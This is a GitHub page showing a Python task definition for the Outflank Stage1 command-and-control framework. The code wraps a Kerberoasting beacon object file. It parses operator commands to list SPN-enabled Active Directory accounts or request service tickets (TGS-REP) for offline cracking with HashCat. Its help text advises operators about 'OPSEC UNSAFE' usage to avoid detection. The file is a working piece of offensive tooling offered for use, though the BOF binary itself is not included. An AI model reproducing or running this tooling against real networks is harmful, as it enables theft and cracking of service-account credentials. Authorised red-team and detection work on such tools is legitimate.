-
Notifications
You must be signed in to change notification settings - Fork 201
/
Copy pathKerberoast_bof.s1.py
50 lines (39 loc) · 1.62 KB
/
Kerberoast_bof.s1.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from typing import List, Tuple
from outflank_stage1.task.base_bof_task import BaseBOFTask
from outflank_stage1.task.enums import BOFArgumentEncoding
class KerberoastBOF(BaseBOFTask):
def __init__(self):
super().__init__("Kerberoast")
_action_choices = ["list", "list-no-aes", "roast", "roast-no-aes"]
self.parser.description = (
"Perform Kerberoasting against all (or specified) SPN enabled accounts."
)
self.parser.epilog = (
"List all SPN enabled user/service accounts or request service tickets (TGS-REP) which can be cracked "
"offline using HashCat.\n\n"
"WARNING: Listing and roasting tickets without sAMAccountName filter is OPSEC UNSAFE!\n\n"
"Example usage:\n"
" - Kerberoast list\n"
" - Kerberoast list DA*\n"
)
self.parser.add_argument(
"action",
choices=_action_choices,
help=f"Actions ({', '.join(_action_choices)}).",
metavar="action",
)
self.parser.add_argument(
"filter",
help="sAMAccountName filter.",
nargs="?",
)
def _encode_arguments_bof(
self, arguments: List[str]
) -> List[Tuple[BOFArgumentEncoding, str]]:
parser_arguments = self.parser.parse_args(arguments)
if parser_arguments.filter is not None:
return [
(BOFArgumentEncoding.WSTR, parser_arguments.action),
(BOFArgumentEncoding.WSTR, parser_arguments.filter),
]
return [(BOFArgumentEncoding.WSTR, parser_arguments.action)]